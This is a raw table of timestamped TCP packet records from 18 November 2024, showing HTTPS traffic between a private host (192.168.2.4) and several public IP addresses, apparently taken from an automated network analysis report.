Nov 18, 2024 17:23:45.431725979 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.431740999 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.431762934 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.583251953 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.583333015 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.583405018 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.583417892 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.583455086 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.583473921 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.583477020 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.637111902 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.672270060 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.672293901 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.672339916 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.672343969 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.672363043 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.672391891 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.672399998 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.672409058 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.672471046 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.672521114 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.672527075 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.672652960 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.672703981 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.691939116 CET	49767	443	192.168.2.4	13.107.246.44
Nov 18, 2024 17:23:45.691951990 CET	443	49767	13.107.246.44	192.168.2.4
Nov 18, 2024 17:23:45.711853027 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.711888075 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.711980104 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.712284088 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:45.712297916 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:45.925607920 CET	443	49769	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:45.925676107 CET	49769	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:45.927125931 CET	49769	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:45.927134037 CET	443	49769	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:45.927408934 CET	443	49769	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:45.928544044 CET	49769	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:45.975341082 CET	443	49769	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:46.402506113 CET	443	49769	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:46.402597904 CET	443	49769	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:46.402642012 CET	49769	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:46.405411959 CET	49769	443	192.168.2.4	184.28.90.27
Nov 18, 2024 17:23:46.405428886 CET	443	49769	184.28.90.27	192.168.2.4
Nov 18, 2024 17:23:46.567645073 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.568495989 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.568506002 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.570029020 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.570094109 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.570446014 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.570533991 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.570720911 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.570729971 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.613790035 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.829433918 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.829463959 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.829514027 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.829534054 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.829555988 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.829586983 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.829601049 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.829612017 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.829612017 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.829629898 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.829644918 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.948561907 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.948590994 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.948640108 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.948654890 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:46.948678970 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:46.948695898 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.066818953 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.066854954 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.066904068 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.066927910 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.066956043 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.066967010 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.188529015 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.188561916 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.188616991 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.188642025 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.188683033 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.189851999 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.292992115 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.293036938 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.293071032 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.293083906 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.293121099 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.293133020 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.306562901 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.306602001 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.306642056 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.306652069 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.306682110 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.306693077 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.424263000 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.424324036 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.424381971 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.424411058 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.424428940 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.424571991 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.565170050 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.565227032 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.565272093 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.565288067 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.565315008 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.565334082 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.661076069 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.661144972 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.661175013 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.661185026 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.661226034 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.779495001 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.779531002 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.779581070 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.779591084 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.779608011 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.779700994 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.802814960 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.802840948 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.802882910 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.802892923 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.802903891 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.802934885 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.920989037 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.921024084 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.921066046 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.921082020 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.921108961 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.921123981 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.921962976 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.922019005 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.922033072 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.922049046 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.922061920 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:47.922096968 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.922122002 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.927865028 CET	49772	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:47.927877903 CET	443	49772	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:54.156259060 CET	443	49764	142.250.185.196	192.168.2.4
Nov 18, 2024 17:23:54.156321049 CET	443	49764	142.250.185.196	192.168.2.4
Nov 18, 2024 17:23:54.156372070 CET	49764	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:23:54.158994913 CET	49764	443	192.168.2.4	142.250.185.196
Nov 18, 2024 17:23:54.159001112 CET	443	49764	142.250.185.196	192.168.2.4
Nov 18, 2024 17:23:59.637772083 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:59.637819052 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:23:59.637892962 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:59.638219118 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:23:59.638237953 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:00.585084915 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:00.585136890 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:00.589729071 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:00.589735031 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:00.590061903 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:00.604312897 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:00.651325941 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.016813040 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.016838074 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.016854048 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.017029047 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:01.017040968 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.017102003 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:01.018919945 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.018942118 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.018976927 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:01.018984079 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.019016981 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:01.250189066 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.250211954 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.250284910 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:01.250305891 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.250348091 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:01.581168890 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.581192970 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.581290960 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:01.581317902 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.581362963 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:01.729126930 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.729151011 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.729209900 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:01.729228973 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:01.729254961 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:01.729269981 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.020911932 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:02.021014929 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:02.021239996 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:02.021579027 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:02.021616936 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:02.029442072 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.029453039 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.029519081 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.029532909 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.029575109 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.029603958 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.029635906 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.271548986 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.271559954 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.271595955 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.271626949 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.271651983 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.271687031 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.271703959 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.421861887 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.421932936 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.421947002 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.421972990 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.421988010 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.422010899 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.571170092 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.571197033 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.571250916 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.571280003 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.571300030 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.572421074 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.751426935 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.751497030 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.751540899 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.751569986 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.751585007 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.751601934 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.840953112 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:02.841161013 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:02.842819929 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:02.842880011 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:02.843194008 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:02.852343082 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:02.899334908 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:02.933326006 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.933397055 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.933430910 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.933459044 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:02.933473110 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:02.933501005 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.053147078 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.053201914 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.053241968 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.053257942 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.053271055 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.053293943 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.109960079 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.109987020 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.110002995 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.110052109 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:03.110101938 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.110140085 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:03.110162973 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:03.230390072 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.230489969 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.230508089 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:03.230568886 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.230606079 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:03.230695963 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.230711937 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:03.230753899 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.230783939 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:03.230783939 CET	49844	443	192.168.2.4	172.202.163.200
Nov 18, 2024 17:24:03.230803967 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.230824947 CET	443	49844	172.202.163.200	192.168.2.4
Nov 18, 2024 17:24:03.293329954 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.293339014 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.293380976 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.293540955 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.293555021 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.293586016 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.293639898 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.293647051 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.293658972 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.293699980 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.293855906 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.293865919 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.293874979 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.293879032 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.345160007 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.345181942 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.345243931 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.346170902 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.346195936 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.346251011 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.348097086 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.348139048 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.348223925 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.349339008 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.349349022 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.349397898 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.350070953 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.350081921 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.350307941 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.350465059 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.350481987 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.350548983 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.350564957 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.350636005 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.350651026 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.350713968 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.350724936 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:03.350858927 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:03.350869894 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.085329056 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.101063013 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.104676008 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.105214119 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.105827093 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.141428947 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.141429901 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.157013893 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.157017946 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.157021046 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.236788988 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.236798048 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.243670940 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.243675947 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.247306108 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.247320890 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.251230955 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.251235962 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.254615068 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.254618883 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.258358955 CET	49848	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.258373022 CET	443	49848	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.262074947 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.262088060 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.266024113 CET	49851	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.266031981 CET	443	49851	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.269643068 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.269648075 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.273256063 CET	49849	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.273264885 CET	443	49849	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.378633976 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.378964901 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.379015923 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.379082918 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.379091978 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.379101992 CET	49847	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.379106045 CET	443	49847	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.379508018 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.379532099 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.379590034 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.379599094 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.379611015 CET	443	49850	13.107.246.45	192.168.2.4
Nov 18, 2024 17:24:04.379723072 CET	49850	443	192.168.2.4	13.107.246.45
Nov 18, 2024 17:24:04.381313086 CET	49850	443	192.168.2.4	13.107.246.45
